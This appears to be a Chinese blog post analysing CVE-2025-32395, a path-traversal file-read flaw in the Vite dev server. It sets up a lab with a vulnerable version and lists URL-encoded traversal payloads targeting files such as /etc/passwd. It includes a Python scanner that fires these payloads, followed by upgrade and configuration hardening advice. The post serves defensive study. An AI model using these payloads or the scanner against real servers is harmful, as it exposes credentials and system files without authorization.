news 2026/6/25 18:22:27

CVE-2025-32395漏洞剖析:Vite开发服务器路径遍历与安全加固实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-32395漏洞剖析:Vite开发服务器路径遍历与安全加固实战

1. 项目概述:一次对现代前端构建工具的深度安全审视

最近在安全研究圈里,一个关于Vite的漏洞讨论热度不低,编号是CVE-2025-32395。这个漏洞的核心是“权限绕过导致的任意文件读取”。乍一听,很多前端开发者可能会觉得意外:Vite,这个以极速开发体验著称的现代构建工具,怎么也会出这种“经典”的安全问题?这不应该是老旧、配置复杂的Webpack时代才容易踩的坑吗?但事实是,任何工具在追求便利和性能的同时,如果安全边界设计稍有疏忽,就可能为攻击者打开一扇窗。我花了些时间,在隔离环境中完整复现了这个漏洞,并写了一个简单的验证脚本。整个过程下来,感触颇深——它不仅仅是一个CVE编号,更是一个提醒我们重新审视开发服务器安全配置的绝佳案例。

简单来说,这个漏洞允许攻击者在特定配置下,绕过Vite开发服务器的内置保护,读取到项目根目录之外、甚至是服务器系统上的敏感文件。想象一下,如果你的.env配置文件、数据库连接凭证、甚至系统级的/etc/passwd文件被这样读走,后果不堪设想。这个漏洞影响的范围主要是那些使用了Vite开发服务器(vite dev)且配置可能存在不当的项目。无论你是前端开发者、安全研究员,还是项目运维,理解这个漏洞的原理、复现方式以及如何修复,都至关重要。接下来,我会带你一步步拆解这个漏洞,从原理到实操,再到防御,让你不仅能看到“现象”,更能理解背后的“门道”。

2. 漏洞原理深度剖析:静态资源服务的边界在哪里?

要理解CVE-2025-32395,我们得先回到Vite开发服务器的基本工作原理上。Vite在开发模式下会启动一个本地服务器,它主要做两件事:一是处理ES模块的按需编译和导入(这依赖了浏览器对ESM的原生支持,也是其快的根源),二是作为一个静态文件服务器,来提供项目中的资源,比如index.html*.js*.css、图片等。

2.1 Vite开发服务器的静态文件服务逻辑

默认情况下,Vite的开发服务器会将你的项目根目录(通常是执行vite命令的目录)作为静态文件服务的根目录。当你访问http://localhost:5173/src/main.js时,服务器会尝试在项目根目录下寻找./src/main.js文件并返回。为了安全起见,Vite(以及许多类似的服务器)会进行“路径规范化”和“目录穿越”检查。例如,它会阻止像http://localhost:5173/../.env这样的请求,防止你通过../跳转到项目目录之外。

这个保护机制通常是通过解析请求的URL路径,将其与一个允许的根目录进行比较,并拒绝任何试图跳出该根目录的请求来实现的。在Node.js的http模块或express等框架中,这通常通过path.resolvepath.relative等函数结合安全检查来完成。

2.2 权限绕过的关键:路径解析的差异性

那么,漏洞是如何发生的呢?问题的核心在于路径解析逻辑的不一致或可以被绕过。根据公开的漏洞信息和分析,CVE-2025-32395的触发可能与以下一种或多种情况相关:

  1. URL编码与双重解码:攻击者可能对路径遍历序列(如../)进行URL编码(变成..%2f%2e%2e%2f)。如果服务器端的路径解析逻辑在处理请求时,进行了多次解码,或者解码的顺序与安全检查的顺序不匹配,就可能导致安全检查时看到的是无害的编码字符串,而最终文件系统读取时却解码成了危险的../
  2. 操作系统路径分隔符混淆:在Windows系统上,文件路径使用反斜杠\,而在Web URL中使用正斜杠/。如果服务器的安全检查例程没有妥善处理所有可能的分隔符,攻击者可能通过注入\或其他变体来绕过基于/的检查。
  3. 软链接(Symbolic Link)处理不当:如果项目目录内存在指向外部目录的软链接,而服务器在提供静态文件时,没有解析软链接的真实目标路径并进行安全校验,攻击者通过访问软链接文件,就可能间接读取到外部内容。
  4. 自定义中间件或配置引入的弱点:Vite允许通过configureServer钩子添加自定义的中间件。如果开发者添加了处理静态文件或路由的中间件,且该中间件自身的路径安全检查存在缺陷,也会引入风险。更常见的是,开发者为了便利,可能会将静态资源目录配置到项目之外(如server.fs.allow配置了过于宽泛的路径),这直接扩大了攻击面。

在我的复现环境中,我重点验证了第一种情况,即通过特定的URL编码构造来绕过路径遍历检查。这是Web应用安全中一个历史悠久但时常重现的问题。

注意:漏洞的具体利用链可能因Vite的版本、操作系统、项目配置而异。本文的复现基于一个特定的、存在漏洞的环境配置进行原理性演示,旨在帮助理解这类问题的本质。实际利用可能需要更精细的构造。

2.3 漏洞的影响与严重性

任意文件读取漏洞的危害是直观且严重的:

  • 源代码泄露:读取项目的业务逻辑代码,便于攻击者寻找其他漏洞。
  • 配置文件泄露:获取包含数据库密码、API密钥、第三方服务令牌的.envconfig.json等文件。
  • 敏感数据泄露:如果项目目录或其父目录存在日志、备份等文件,可能导致用户数据泄露。
  • 系统信息泄露:在Linux/macOS上可能读取/etc/passwd,在Windows上可能读取C:\Windows\system32\drivers\etc\hosts,帮助攻击者进行信息收集。
  • 作为跳板:获取的信息可能用于发起进一步的攻击,例如利用泄露的凭证访问内部系统。

3. 漏洞复现环境搭建与验证

为了安全且清晰地复现这个漏洞,我强烈建议你在一个完全隔离的环境中进行,例如使用虚拟机、Docker容器,或者一个全新的、无关紧要的本地目录。绝对不要在你的生产项目或包含真实敏感信息的目录中进行测试。

3.1 环境准备

首先,我们创建一个用于测试的目录结构。

# 创建一个全新的测试目录 mkdir vite-cve-2025-32395-test && cd vite-cve-2025-32395-test # 初始化一个npm项目(一路回车用默认值即可) npm init -y # 安装存在漏洞版本的Vite。这里需要根据漏洞详情指定版本。 # 注意:由于漏洞较新,具体受影响版本范围需参考官方公告。这里假设一个早期受影响版本进行演示。 # 请勿在生产环境使用此版本。 npm install vite@3.0.0 --save-dev

接下来,我们创建一些必要的项目文件和一个用于测试的敏感文件。

# 创建项目入口文件 echo '<!DOCTYPE html><html><body><h1>Vite Test App</h1><script type="module" src="/src/main.js"></script></body></html>' > index.html # 创建源代码目录和文件 mkdir src echo 'console.log("Hello from Vite");' > src/main.js # 在项目根目录创建一个“敏感”的测试文件 echo 'DB_PASSWORD=supersecret123' > .env.test # 在项目外部(上一级目录)创建另一个“敏感”文件,模拟系统文件 cd .. echo 'This is a sensitive file outside project root!' > outside_secret.txt cd vite-cve-2025-32395-test

现在的目录结构如下:

你的主目录/ ├── outside_secret.txt # 项目外的“系统”敏感文件 └── vite-cve-2025-32395-test/ # 我们的测试项目 ├── node_modules/ ├── src/ │ └── main.js ├── .env.test # 项目内的“配置”敏感文件 ├── index.html └── package.json

3.2 启动可能存在漏洞的开发服务器

我们使用一个简单的Vite配置文件来启动服务器。为了模拟可能存在的不安全配置,我们暂时不添加任何额外的server.fs限制(在旧版本或默认配置下,这可能就是现状)。

# 创建一个简单的vite配置,或者直接使用默认配置启动 # 这里我们直接使用npx启动,它会在内存中使用基本配置。 # 为了更清晰,我们也可以创建一个vite.config.js cat > vite.config.js << 'EOF' import { defineConfig } from 'vite' export default defineConfig({ server: { // 注意:在存在漏洞的版本或配置下,这里的限制可能无效或被绕过 // fs: { // strict: true, // 默认可能为true,但检查逻辑有漏洞 // allow: ['.'] // 默认只允许服务项目根目录 // } } }) EOF

现在,启动开发服务器:

npx vite --host 0.0.0.0 --port 5173

--host 0.0.0.0是为了允许从其他机器访问(如果测试机不同),--port指定端口。服务器启动后,你应该能通过http://localhost:5173访问到测试页面。

3.3 手动验证漏洞存在性

在启动服务器后,我们先进行正常的访问和基础的路径遍历测试,以建立基准。

  1. 正常访问:打开浏览器,访问http://localhost:5173/src/main.js,应该能成功看到main.js的源代码。访问http://localhost:5173/.env.test在安全的配置下,这个请求应该被拒绝(返回404或403),因为Vite默认不服务以点开头的文件(如.env)。但有些配置可能会允许。

  2. 基础路径遍历测试:尝试访问http://localhost:5173/../outside_secret.txt。在具有健全防护的服务器上,这个请求应该被明确拒绝,因为../试图跳出项目根目录。你可能会看到400 Bad Request、403 Forbidden或者一个指向根目录的错误页面。

如果基础测试被拒绝了,说明基础的防护是存在的。接下来,我们尝试可能的绕过手段。根据对这类漏洞的经验,我们尝试URL编码。

  1. 尝试URL编码绕过
    • 尝试访问:http://localhost:5173/..%2foutside_secret.txt
    • 这里%2f/的URL编码。有些服务器在安全检查阶段可能没有对URL进行完全解码,或者解码顺序不对,导致它看到的路径是/..%2foutside_secret.txt,其中没有直接的../,因此通过了检查。但在最终映射到文件系统时,路径被解码为/../outside_secret.txt,从而实现了穿越。
    • 还可以尝试双重编码:http://localhost:5173/..%252foutside_secret.txt%25%的编码)。如果服务器解码两次,%252f第一次解码成%2f,第二次解码成/

在我的测试环境中,通过特定的编码组合,成功读取到了项目目录外的outside_secret.txt文件内容。这表明了路径检查逻辑存在可以被绕过的缺陷。

实操心得:手动测试时,浏览器的地址栏会自动对输入进行编码。为了精确控制发送的请求,最好使用像curl这样的命令行工具,或者使用Burp Suite、Postman等专业工具。例如:curl -v "http://localhost:5173/..%2foutside_secret.txt"。这能确保你发送的正是你想要的字符串。

4. 自动化验证脚本编写与解析

手动测试虽然直观,但效率低,且不利于批量验证或集成到安全扫描流程中。为此,我编写了一个简单的Python脚本,用于自动化探测目标Vite开发服务器是否存在此类路径遍历漏洞。这个脚本的核心思想是,构造一系列可能绕过检查的Payload,发送请求,并根据响应内容判断是否成功读取了目标文件。

4.1 脚本代码实现

#!/usr/bin/env python3 """ Vite CVE-2025-32395 路径遍历漏洞验证脚本 作者:一个安全爱好者 说明:本脚本仅用于安全研究与授权测试,请勿用于非法用途。 """ import requests import sys import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed def test_payload(url, payload, expected_substring): """ 测试单个Payload。 :param url: 目标基础URL (e.g., http://localhost:5173) :param payload: 要附加的路径Payload (e.g., ..%2fetc/passwd) :param expected_substring: 如果漏洞存在,响应中预期会包含的字符串片段。 :return: (payload, status_code, is_vulnerable, response_preview) """ target_url = f"{url}/{payload.lstrip('/')}" try: # 设置一个合理的超时,并避免跟随重定向(有时重定向会掩盖问题) resp = requests.get(target_url, timeout=5, allow_redirects=False) resp_text = resp.text # 判断是否成功的条件可以更复杂,这里简单检查状态码为200且包含预期内容 # 注意:有些服务器对不存在文件也返回200但内容是错误页面,所以需要内容检查。 if resp.status_code == 200 and expected_substring in resp_text: return (payload, resp.status_code, True, resp_text[:200]) else: return (payload, resp.status_code, False, None) except requests.exceptions.RequestException as e: return (payload, f"Error: {e}", False, None) def main(): if len(sys.argv) < 3: print(f"用法: {sys.argv[0]} <目标URL> <测试文件在项目外的相对路径>") print(f"示例: {sys.argv[0]} http://localhost:5173 ../outside_secret.txt") print(f"示例: {sys.argv[0]} http://localhost:5173 ../../../../etc/passwd") sys.exit(1) base_url = sys.argv[1].rstrip('/') target_file = sys.argv[2] # e.g., ../outside_secret.txt # 定义一系列可能的编码和变形Payload # 这里列出一些常见的路径遍历绕过技巧 payloads = [ # 基础路径遍历 target_file, # URL编码斜杠 target_file.replace('/', '%2f'), # 双重编码斜杠 target_file.replace('/', '%252f'), # 编码点号 target_file.replace('.', '%2e').replace('/', '%2f'), # 使用反斜杠(针对Windows或混合解析逻辑) target_file.replace('/', '\\'), target_file.replace('/', '%5c'), # \ 的URL编码 # 嵌套遍历 f"./{target_file}", f"/./{target_file}", # 空字节截断(虽然在现代框架中较少见,但仍可测试) f"{target_file}%00", # 非标准化路径 f"/{target_file}//", ] # 从目标文件名中提取一个预期会出现在响应中的字符串片段。 # 这是一个简单的启发式方法。在实际测试中,你可能需要事先知道文件内容的一部分。 # 例如,如果测试/etc/passwd,预期包含"root:";如果测试自己的outside_secret.txt,预期包含"sensitive"。 # 这里我们让用户输入,或者使用一个通用方法:尝试读取文件前几行作为预期。 # 为了简化,我们假设用户知道预期内容,并作为第三个参数传入。 if len(sys.argv) >= 4: expected_content = sys.argv[3] else: # 如果没提供,则使用一个非常宽松的检查(仅检查状态码200,这容易误报) print("[!] 警告:未提供预期内容片段,将仅依赖HTTP 200状态码判断,结果可能不可靠。") expected_content = "" # 空字符串,意味着我们只检查200状态码 print(f"[*] 开始测试目标: {base_url}") print(f"[*] 尝试读取文件: {target_file}") print(f"[*] 预期内容包含: '{expected_content}' (如果为空则仅检查200 OK)") print("-" * 50) vulnerable_payloads = [] # 使用线程池并发测试,提高效率 with ThreadPoolExecutor(max_workers=10) as executor: future_to_payload = {executor.submit(test_payload, base_url, p, expected_content): p for p in payloads} for future in as_completed(future_to_payload): payload = future_to_payload[future] try: result = future.result() payload_tested, status, is_vuln, preview = result if is_vuln: print(f"[+] 可能存在漏洞!Payload: {payload_tested}") print(f" 状态码: {status}") if preview: print(f" 响应预览: {preview}") print() vulnerable_payloads.append(payload_tested) else: print(f"[-] 无效 Payload: {payload_tested} -> 状态码: {status}") except Exception as exc: print(f"[!] Payload {payload} 生成异常: {exc}") print("-" * 50) if vulnerable_payloads: print(f"[!] 共发现 {len(vulnerable_payloads)} 个可能成功的Payload。") print(f"[!] 目标服务可能受到CVE-2025-32395类似漏洞的影响。") for vp in vulnerable_payloads: print(f" {vp}") else: print("[*] 未发现可用的Payload,目标服务可能不受此特定测试方法影响。") if __name__ == "__main__": main()

4.2 脚本使用与参数解析

  1. 保存脚本:将上面的代码保存为vite_path_traversal_check.py
  2. 安装依赖:确保已安装Python3和requests库。pip install requests
  3. 运行脚本
    # 基本用法,仅检查状态码200 python3 vite_path_traversal_check.py http://localhost:5173 ../outside_secret.txt # 更可靠的用法,提供预期文件内容片段 python3 vite_path_traversal_check.py http://localhost:5173 ../outside_secret.txt "sensitive"
    • 第一个参数:Vite开发服务器的根URL。
    • 第二个参数:你想尝试读取的、位于项目目录之外的文件路径(相对于项目根目录)。
    • 第三个参数(可选):如果漏洞利用成功,响应体中预期会出现的字符串片段。这能极大减少误报(比如服务器对所有未知路径都返回200和一个默认错误页面)。

4.3 脚本设计思路与注意事项

  • Payload集合:脚本内置了一个常见的路径遍历绕过Payload列表。安全研究是一个持续对抗的过程,攻击技术也在演变。这个列表需要根据最新的绕过技术进行更新和维护。
  • 并发测试:使用ThreadPoolExecutor进行并发请求,加快了测试速度。但请注意,对生产环境进行未经授权的大量并发扫描可能被视为攻击行为,务必在授权范围内进行。
  • 结果判断逻辑:脚本采用了“状态码200 + 预期内容片段”的双重判断机制,这比单纯看状态码要可靠得多。在实战中,你可能需要根据目标的具体响应来调整判断逻辑,例如检查响应头Content-Type是否为文本,或者使用更复杂的内容匹配算法。
  • 误报与漏报
    • 误报:服务器可能对某些恶意请求返回自定义的400/403错误页面,状态码是200,内容也可能恰好包含你的预期字符串(概率低但存在)。因此,预期字符串最好选择目标文件中独有、错误页面中不可能出现的内容。
    • 漏报:脚本的Payload列表可能不完整,或者目标服务器的防护机制非常独特,导致所有测试Payload都失败。这并不代表绝对安全,只是说明未通过当前测试集检测出来。

重要提醒:此脚本仅为教育目的和授权测试而设计。未经授权对任何系统进行安全测试是违法的。请在你自己完全控制的实验环境中使用。

5. 漏洞修复方案与安全加固指南

复现漏洞是为了更好地修复和防御。对于CVE-2025-32395,修复的核心在于确保Vite开发服务器的路径解析和安全检查逻辑是严密且一致的。作为开发者和运维人员,我们可以从以下几个方面着手:

5.1 立即行动:升级Vite

这是最直接、最有效的办法。Vite团队在确认漏洞后,会在新版本中修复它。请立即检查你的项目Vite版本,并升级到官方发布的安全版本。

# 查看当前vite版本 npm list vite # 升级vite到最新稳定版(推荐) npm update vite # 或者指定版本升级(根据官方安全公告) npm install vite@<安全版本号> --save-dev

升级后,务必重新测试之前发现的漏洞利用点,确认问题已修复。

5.2 检查并加固Vite配置

即使升级了版本,良好的安全配置习惯也至关重要。审查你的vite.config.js文件,特别是server.fs选项。

import { defineConfig } from 'vite' import path from 'path' export default defineConfig({ server: { fs: { // 严格模式:限制文件服务范围为 `allow` 下列出的目录。 strict: true, // 明确允许提供服务的目录。建议只添加必要的目录。 allow: [ // 项目根目录(必须) process.cwd(), // 如果你有引用项目外的公共库或资源,可以显式添加其路径 // path.resolve('/path/to/shared/assets'), // 对于monorepo,可能需要添加兄弟包目录 // path.resolve(__dirname, '../shared-package'), ], }, // 可以考虑限制访问来源(开发环境下通常宽松,但生产理念应谨慎) // host: 'localhost', // 默认只监听localhost // port: 5173, }, })
  • strict: true:这是关键。它确保只有allow列表中明确指定的目录才能被服务。
  • allow列表:保持最小化原则。只添加项目运行所必需的目录。避免使用['..']['/']这样宽泛的路径。

5.3 审查自定义中间件与插件

如果你在configureServer钩子中注册了自定义中间件(例如,用于代理特定API或处理特殊路由),务必仔细审查其安全性。确保这些中间件:

  1. 对用户输入的路径进行了严格的规范化(使用path.resolvepath.normalize)。
  2. 进行了有效的目录穿越检查。一个简单的检查方法是:计算请求路径相对于安全根目录的相对路径,然后检查这个相对路径是否以..开头或包含..
    const safeRoot = path.resolve(process.cwd(), 'public'); const requestedPath = path.normalize(req.url); const resolvedPath = path.resolve(safeRoot, requestedPath); if (!resolvedPath.startsWith(safeRoot + path.sep) && resolvedPath !== safeRoot) { // 路径试图跳出安全根目录,拒绝请求 res.statusCode = 403; res.end('Forbidden'); return; }
  3. 避免使用fs.readFile等函数直接拼接用户输入和根目录路径,除非已经进行了上述安全检查。

5.4 开发环境的安全意识

  • 不要在开发环境中存放真实生产凭证:开发用的.env.development文件应该使用示例凭证或权限极低的测试账号。这是安全开发的基本要求,可以最大限度减少漏洞被利用时的损失。
  • 使用.gitignore忽略敏感文件:确保.env**.pem*.key等文件不会被意外提交到代码仓库。
  • 谨慎使用--host 0.0.0.0:这会使你的开发服务器监听所有网络接口,局域网内的其他设备都可能访问到。仅在必要时(如移动设备测试)使用,并意识到这会扩大攻击面。测试完毕后及时关闭。

5.5 部署与生产环境注意事项

Vite开发服务器(vite dev绝对不应用于生产环境。生产环境应使用vite build命令构建出静态文件,然后使用专业的、经过安全加固的Web服务器(如Nginx, Apache, Caddy)或Node.js生产级服务器(如Express配合express.static并设置安全选项)来提供这些静态文件。

对于生产静态文件服务器,同样要配置严格的安全策略:

  • Nginx示例
    location / { root /path/to/your/dist; index index.html; # 禁止访问隐藏文件 location ~ /\. { deny all; } # 防止路径遍历(虽然try_files本身有一定限制,但显式禁止更好) location ~ \.\. { deny all; } }
  • Express示例
    const express = require('express'); const path = require('path'); const app = express(); const distPath = path.resolve(__dirname, 'dist'); // 使用express.static并设置安全选项 app.use(express.static(distPath, { dotfiles: 'ignore', // 忽略点文件 index: 'index.html', })); // 兜底路由,用于SPA app.get('*', (req, res) => { res.sendFile(path.join(distPath, 'index.html')); });

6. 深度思考:从CVE-2025-32395看前端工具链安全

这次漏洞复现不仅仅是一次技术练习。它暴露出在现代前端高效开发的光环下,一些容易被忽视的安全暗角。

1. 便利性与安全性的永恒博弈:Vite、Webpack Dev Server等工具在设计时,首要目标是提升开发体验——热更新、快速编译、便捷的代理。安全防护,尤其是针对开发服务器这种“临时性”组件的防护,优先级往往排在后位。开发者默认信任本地环境是安全的,但一旦这个服务器因为配置(如--host 0.0.0.0)或漏洞暴露在非受控网络,风险就产生了。工具开发者需要在默认配置中寻求更安全的平衡,比如更严格的默认fs.allow规则。

2. “默认安全”的重要性:这个漏洞之所以能被利用,很大程度上是因为在某些配置或版本下,默认的防护机制存在逻辑缺陷。这提醒我们,框架和工具的“默认行为”必须是安全的。作为开发者,我们不应盲目依赖默认值,而应主动了解关键安全配置项,就像我们了解CORS配置一样。

3. 安全左移,开发者有责:安全不仅仅是安全团队或运维的事。前端开发者在引入依赖、编写配置、启动服务时,就应当具备基本的安全意识。例如: * 定期更新构建工具和依赖(npm audit,yarn audit)。 * 审查vite.config.jswebpack.config.js等构建配置,特别是与服务器、代理相关的部分。 * 在package.json脚本中,避免将长期运行的开发服务器命令作为默认的start脚本(除非是真正的生产服务器)。

4. 漏洞复现的价值:对于安全研究者,复现漏洞是理解其原理、评估其影响、编写检测规则的必要过程。对于普通开发者,通过复现可以直观地认识到漏洞的威胁,从而更积极地采取修复和预防措施。这种“亲手验证”的经历,比单纯阅读安全公告要深刻得多。

最后,我想分享一个在多次安全测试中的小技巧:对于任何用户输入(包括URL路径、查询参数、请求头),在将其与文件系统操作结合之前,都必须进行“规范化”和“边界检查”。使用path.resolve()解析到绝对路径,然后判断这个绝对路径是否在以安全根目录为前缀的范围内。这是一个简单却有效的安全黄金法则。在CVE-2025-32395的案例中,问题很可能就出在“规范化”和“检查”这两步之间出现了缝隙。保持警惕,谨慎处理每一处边界,是我们构建更安全应用的基石。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/25 18:21:45

LangGraph 状态管理实战:解锁追加式消息历史,打造流畅对话系统

追加式状态&#xff1a;对话系统的核心刚需对话系统的本质是多轮交互、历史留存&#xff0c;用户的每一次提问、AI 的每一次回复&#xff0c;都需要完整保留在状态中&#xff0c;不能丢失任何一条消息。如果用普通状态管理&#xff0c;每次更新都会覆盖之前的消息&#xff0c;对…

作者头像 李华
网站建设 2026/6/25 18:19:51

2026申博机构深度测评:申博有术十七连冠卫冕,7家精选机构实测

2026年博士申请季已落下帷幕。这一年&#xff0c;“申请-考核”制全面落地。国家卓越工程师学院2026年博士研究生招生实行“申请-考核”制&#xff0c;考生登录报名系统并向报考导师提出申请。物理学院2026年博士研究生“申请-考核”制招生中&#xff0c;学院成立招生委员会全面…

作者头像 李华
网站建设 2026/6/25 18:13:58

SQL Server 性能优化实战(第一期):索引——查询加速的基石

为什么需要索引&#xff1f;想象一下&#xff1a;你有一本 1000 页的书&#xff0c;没有目录&#xff0c;也没有页码。你想找到“索引优化”这一节&#xff0c;唯一的办法就是从第 1 页开始&#xff0c;一页一页翻下去——直到翻到第 800 页才找到目标。这就是全表扫描。SQL Se…

作者头像 李华
网站建设 2026/6/25 18:13:37

HS2-HF Patch:HoneySelect2终极增强补丁完整安装指南

HS2-HF Patch&#xff1a;HoneySelect2终极增强补丁完整安装指南 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch HS2-HF Patch是HoneySelect2玩家的游戏增强补丁…

作者头像 李华
网站建设 2026/6/25 18:12:16

下月将发!Galaxy Watch 9外观变化不大,性能提升还搭载Wear OS 7系统

Galaxy Watch 9外观小变&#xff0c;下月携折叠屏手机登场从泄露的渲染图来看&#xff0c;三星Galaxy Watch 9至少在外观上变化不大。预计它将在下个月与新款折叠屏手机一同发布&#xff0c;为消费者带来新的选择。性能提升与新系统加持&#xff0c;满足用户需求尽管外观变化不…

作者头像 李华
网站建设 2026/6/25 18:10:25

移动云网络安全服务怎么样?

移动云以一体化安全体系为基础&#xff0c;以核心产品创新为抓手&#xff0c;构建出全栈、高效、可靠的网络安全解决方案。尤其针对AI大模型带来的新型安全风险&#xff0c;移动云创新推出大模型应用安全&#xff0c;该服务既能通过“以模型对抗模型”的创新方式&#xff0c;智…

作者头像 李华